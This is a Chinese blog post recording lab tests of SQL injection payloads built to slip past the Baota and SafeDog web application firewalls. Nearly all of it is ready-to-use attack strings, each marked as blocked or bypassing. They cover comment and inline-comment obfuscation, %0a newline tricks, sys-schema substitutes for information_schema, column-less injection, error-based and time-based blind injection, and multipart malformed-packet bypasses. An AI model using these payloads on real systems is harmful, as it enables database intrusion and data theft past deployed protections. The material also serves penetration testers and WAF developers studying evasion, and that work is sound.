bypass 安全狗宝塔waf测试_sql注入
a、关键词替换
混淆
注释/**/和内联注释/!/的利用
注释和内联注释被拦截,可以在注释和内敛注释里添加其他字符增加混淆效果,结合bp爆破找到可绕过的字符,每处地方可能可绕过的字符串都可能不一样,有些语句/////可以绕过,有些语句不可以,得换成//////,所以这时候需要爆破出此处可绕过的字符串
在payload里爆破/**/注释中添加什么字符不拦截
发现爆破出很多不拦截但是在sql语句里执行会报错,所以先把waf关掉,测试/**/里添加哪些字符能正常运行,再把它做成字典
返回31142则是可以成功执行的,其他返回长度都是报错信息
后续就可以直接使用这个自制字典爆破注释混淆可以绕过的字符串
ORDER//!*/BY 1可以正常执行,虽然 /*
是标准注释符号,但 /*!*/
特殊注释机制在 MySQL 中告诉解析器继续执行后面的内容,这也是为什么你写在 /*!*/
之后的 BY 1
仍然可以正常执行的原因。
换行符%0a的利用:
注意url编码问题,%0a需要抓包在bp加上,直接在搜索框加上到数据包里会自己在加密一层变成%250a
?id=-1%27%20union/!--+/%0aselect%201,database(),3/%20--+
相当于在普通sql语句中的
id=-1' union/!--+/*
select 1,database(),3*/ --+
1' union/!#/%0aselect 1,database()*/#
替换and
|| 、/!and/
替换information_schema库
InnoDb引擎(默认关闭)
从MySQL 5.5.8开始,InnoDB成为其默认存储引擎。而在MySQL 5.6以上的版本中,InnoDb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
在MySQL 5.6版本中,可以使用mysql.innodb_table_stats和mysql.innodb_table_index这两张表来替换information_schema.tables实现注入,但是缺点是没有列名。
?id=0' union select 1,2,(select group_concat(database_name) from mysql.innodb_table_stats)%23
?id=0' union select 1,2,(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())%23
查看MySQL支持及默认的存储引擎:
show engines;
在MySQL配置文件中添加如下配置开启InnoDb存储引擎:
default-storage-engine=InnoDB
sys库两张表
条件:
mysql ≥ 5.7版本
般要超级管理员才可以访问sys
schema_auto_increment_columns
1' union select 1,(select table_name from sys.schema_auto_increment_columns where table_schema='192_168_137_133' LIMIT 1)#
schema_table_statistics_with_buffer
kobe' /*!union*/ /*!select*/ 1,(/*!select*/ table_name from sys.schema_table_statistics_with_buffer where table_schema='192_168_137_133' LIMIT 1,1)#
无列名注入
join..using..
1' /!union/ all /!select/ * from (select * from users as a join users b)c#
1' /!union/ all /!select/ * from (select * from users as a join users b using(id))c#
子查询
[select](http://192.168.137.133:38408/phpmyadmin/url.php?url=https://dev.mysql.com/doc/refman/5.7/en/select.html)1,2,3,4union[select](http://192.168.137.133:38408/phpmyadmin/url.php?url=https://dev.mysql.com/doc/refman/5.7/en/select.html)*from users;
把列名重命名为1234
然后可以用重命名的名称去查询
select 2
from (select 1,2,3,4 union select * from users)a
select a.2 from (select 1,2,3,4 union select * from users)a
记得第一个2加反引号,或者使用a.2
payload:
1' union (select 3
from (select 1,2,3,4 union select * from users)x limit 1,1)#
1' union (select x.3 from (select 1,2,3,4 union select * from users)x limit 1,1)#
1' union select 1,2,group_concat(3
),4 from (select 1,2,3,4 union select * from users)x#
1' union select 1,2,group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x#
1' union select x.2 from (select 1,2,3,4,5,6,7 union select * from member)x#
替换=
等于号可以用in或like进行代替
1=1可以变为1 in1或1 like 1或1in 2或1 like 2
替换substr()
left(a,b)
从左侧截取a的前b位
select left(database(),1);
+--------------------+
| left(database(),1) |
+--------------------+
| t |
+--------------------+
1 row in set (0.00 sec)
substr(a,b,c)
截取a,从b开始,长度为c
mysql> select substr(database(),1,2);
+------------------------+
| substr(database(),1,2) |
+------------------------+
| te |
+------------------------+
1 row in set (0.00 sec)
mid(a,b,c)
和substr原理一样
mysql> select mid(database(),1,2);
+---------------------+
| mid(database(),1,2) |
+---------------------+
| te |
+---------------------+
1 row in set (0.00 sec)
替换ascii()
ord(a)
和ascii原理一样
mysql> select ord('a');
+----------+
| ord('a') |
+----------+
| 97 |
+----------+
1 row in set (0.00 sec)
替换,
b、字符型注入
无waf语句
先看看可以正常注入的语句,再尝试在这基础上构造可绕过的payload
kobe' or 1=1 #
kobe' order by 3 #
kobe' order by 2 #
kobe' union select database(),user() #
畸形包绕过
主要针对于 POST 参数的,对于漏洞点在 GET 参数位置则用处不大
multipart/form-data主要是为了解决上传文件场景下文件内容较大且内置字符不可控的问题,
multipart/form-data 格式也是可以传递 POST 参数的。对于 Nginx+PHP 的架构,Nginx 实际上是不负责解析 multipart/form-data 的 body 部分的,而是交由 PHP 来解析,因此 WAF 所获取的内容就很有可能与后端的 PHP 发生不一致。
本地测试
<?php
var_dump($_POST);
var_dump($_FILES);
?>
这里我在本机测试了multipart/form-data 格式去传递两个post参数应该使用的格式
--a
Content-Disposition: form-data; name="id"
Content-Type: image/png
1 and 1=1
--a
Content-Disposition: form-data; name="submit"
Content-Type: image/png
2
--a--
可以看到如果我们加上filename="test.png",则会被接收为$_FILES
可以看到参数正常传递了
对宝塔的尝试绕过
联合查询
先对order by语句进行尝试
1' order by 10 # (被拦截)
1' /!order/ by 10 # (可绕过)
判断内联注释可绕过宝塔,尝试联合查询语句
kobe' /!union/ /!select/ 1,database()# (可绕过)
尝试查询表名,通过逐字符测试发现information_schema被过滤
kobe' /!union/ /!select/ 1,(!select/ /!group_concat(table_name)///from///!information_schema.tables/ where /!table_schema='192_168_137_133'/)#
使用sys库替换information_schema
kobe' /*!union*/ /*!select*/ 1,(/*!select*/ table_name from sys.schema_auto_increment_columns where table_schema='192_168_137_133' LIMIT 1)#
(可绕过)
kobe' /*!union*/ /*!select*/ 1,(/*!select*/ table_name from sys.schema_table_statistics_with_buffer where table_schema='192_168_137_133' LIMIT 1,1)#
(可绕过)
使用无列名注入
kobe' /!union/ all /!select/ * from (select * from users as a join users b)c# (可绕过)
kobe' /!union/ all /!select/ * from (select * from users as a join users b using(id))c# (可绕过)
报错注入
' or /!updatexml/(1,concat(0x7e,/!version()/),0) or ' (可绕过)
' or /!updatexml/(1,concat(0x7e,/!database()/),0) or ' (可绕过)
' or /!updatexml/(1,concat('~',database(),1),'1')or ' (因为'1'被拦截)
' or /!extractvalue/(1,concat(0x5e24,(database()))) or ' (可绕过)
1' and exists(/!select/ * from (/!select/ * from(/!select/ name_const(VERSION(),0)) a join (select name_const(VERSION(),0)) b)c)#
1' and exists(/!select/ * from (/!select/ * from(/!select/ name_const(DATABASE(),0)) a join (select name_const(DATABASE(),0)) b)c)# (可绕过)
' or /!updatexml/(1,concat(0x7e,(/!select/ table_name from sys.schema_table_statistics_with_buffer where table_schema='192_168_137_133' LIMIT 1,1)),0) or ' (可绕过)
' or /!updatexml/(1,concat(0x7e,(/!select/ table_name from sys.schema_auto_increment_columns where table_schema='192_168_137_133' LIMIT 1)),0) or ' (可绕过)
' or /!extractvalue/(1,concat(0x5e24,(/!select/ table_name from sys.schema_auto_increment_columns where table_schema='192_168_137_133' LIMIT 1))) or ' (可绕过)
时间盲注
1' or /!if/(/!ascii/(substr(database(),1,1))>0,benchmark(100000000,md5('a')),6)# (可绕过)
1' or /!if/(/!ascii/(substr(database(),1,1))>0,sleep(1),6)# (可绕过)
' and /!IF/(ascii(substr(database(),1,1))>0,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,9999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,9999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+b',0)# **(可绕过*)**
对安全狗的尝试绕过
https://mp.weixin.qq.com/s/Dhtc-8I2lBp95cqSwr0YQw
https://mp.weixin.qq.com/s/-4irnSu_O6GdacyK9qBf9w
联合查询
单独的union和单独的select不拦截,但是union select拦截,所以我们可以加一些注释在union和select中间混淆。
单一的内联注释/!/和注释/**/都会被拦截,但是在注释中添加其他字符也可以起混淆作用,可利用bp的爆破功能
先拿order by尝试
- 1' order/**/by 1 # (被拦截)
- 1' order///by 1 # (可绕过)
union select被拦截
- 1' union///select1,2# (被拦截)
继续爆破看看注释中间添加什么字符可以绕过,回显长度5361的都是waf拦截页面
- 1' union//!!/*/select 1,2# (可绕过)
- 1' union//!!///select 1,2# (不可解析导致报错,因中间的/与前面的/*提前闭合了,此类不可用)
- 1' union////!!*/select 1,2# (可绕过)
查询库名database()被拦截
- 1' union////!!*/select 1,database() # (被拦截)
- 1' union////!!*/select 1,database # (未拦截)
尝试在database和()中间添加注释混淆试试
- 1' union////!!/select 1,database/!/!!/!/() # (报语法错误,可能/!和后面的/被当成内联注释了,但是database/!*/()是可以执行的)
- 1' union////!!/select 1,database//!////!*/() # (可绕过)
- 1' union////!!/select 1,database/////*/() # (可绕过)
查询表名information_schema.tables被拦截
- 1' union////!!/select 1,(select////*/group_concat(table_name)from/**/ (逐个关键词进行添加测试,目前都还未拦截)
- 1' union////!!/select 1,(select////*/group_concat(table_name)from/**/
information_schema.tables) # (加上information_schema.tables就拦截了,这种一个单词的只能尝试内联注释对information_schema.tables进行混淆) - 继续爆破内联注释,要注意挑不会和前后的内联注释或者注释闭合的
1' union/*///*!!*/select 1,(select/*///*/group_concat(table_name)from /*!!/**!!information_schema.tables*/) #
(未拦截,但语句未完整)1' union/*///*!!*/select 1,(select/*///*/group_concat(table_name)from/**/ /*!-- /* information_schema.tables*/ where table_schema='pikachu') #
(发现语句/!-- /
information_schema.tables*/闭合有误会导致报错,这边单一的内联注释加字符串混淆应该是不行的,需要尝试%0a)1' union/*///*!!*/select 1,(select/*///*/group_concat(table_name)from/*!%23/*%0ainformation_schema.tables*/ where table_schema='pikachu') #
(这里/*!%23/*%0a
就会拦截,--+就不会)1' union/*///*!!*/select 1,(select/*///*/group_concat(table_name)from/*!--%20/*%0ainformation_schema.tables*/ where table_schema='pikachu') #
(内联注释+%0a可绕过)
1' union/*///*!!*/select 1,(select/*///*/table_name from sys.schema_auto_increment_columns where table_schema='pikachu' LIMIT 1)#
(还可使用sys库绕过)
查询字段名语句****table_name=被拦截
- 1' union////!!/select 1,(select////*/group_concat(column_name) from
/*!--%20/*%0ainformation_schema.columns*/
where table_schema='pikachu' and table_name='users')# (and table_name=加上等于号后就拦截,用注释混淆把table_name和=隔开试试) - 1' union////!!/select 1,(select/////group_concat(column_name) from
/*!--+/*%0ainformation_schema.columns*/
where table_schema='pikachu' and table_name//*/='users')# (可绕过注意url编码问题,%0a需要抓包在bp加上,直接在搜索框加上到数据包里会自己在加密一层变成%250a) 1%27+union%2F*%2F%2F%2F*%21%21*%2Fselect+1%2C%28select%2F*%2F%2F%2F*%2Fgroup_concat%28column_name%29+from%2F*%21--+%2F*%0ainformation_schema.columns*%2Fwhere+table_schema%3D%27pikachu%27+and+table_name/*/*/%3D%27users%27%29%23
报错注入
' or updatexml/*/*/(1,concat(0x5e24,version/*///*/()),1) or '
(安全狗的updataxml函数拦截比较严格,尝试其他函数)' or extractvalue/*/*/(1,concat(0x5e24,(database/*////*/()))) or '
(这里的/////被拦截,但/////可以绕过****)' or extractvalue/*/*/(1,concat(0x7e,(select/*///*/group_concat(column_name) from/*!--%20/*%0ainformation_schema.columns*/ where table_schema='pikachu' and table_name/*/*/='users')))or
(可绕过)' or extractvalue/*/*/(1,concat(0x7e,(select/*///*/group_concat(column_name) from sys.schema_auto_increment_columns where table_schema='pikachu' and table_name/*/*/='users')))or
(可绕过)
时间盲注
1' or if/////(ascii(substr(database///////(),1,1))>0,benchmark///////(100000000,md5///////('a')),6)# (可绕过)
1' or if/////(ascii(substr(database///////(),1,1))>0,sleep///(1),6)# (可绕过)
' and if/////(ascii(substr(database///////(),1,1))>0,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,9999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,9999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+b',0)# **(可绕过*)**
waf特性总结:
雷池:
rce:$u和通配符效果比较好,编码效果较差
宝塔:
rce:$u和通配符效果比较好,编码效果也挺好
注入:内联注释+关键词替换基本可以搞定
安全狗:
注入:内联注释+注释混淆fuzz+%0a换行符+函数替换
本文作者:xiaoxin07
本文链接:https://www.cnblogs.com/xiaoxin07/p/18502721
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步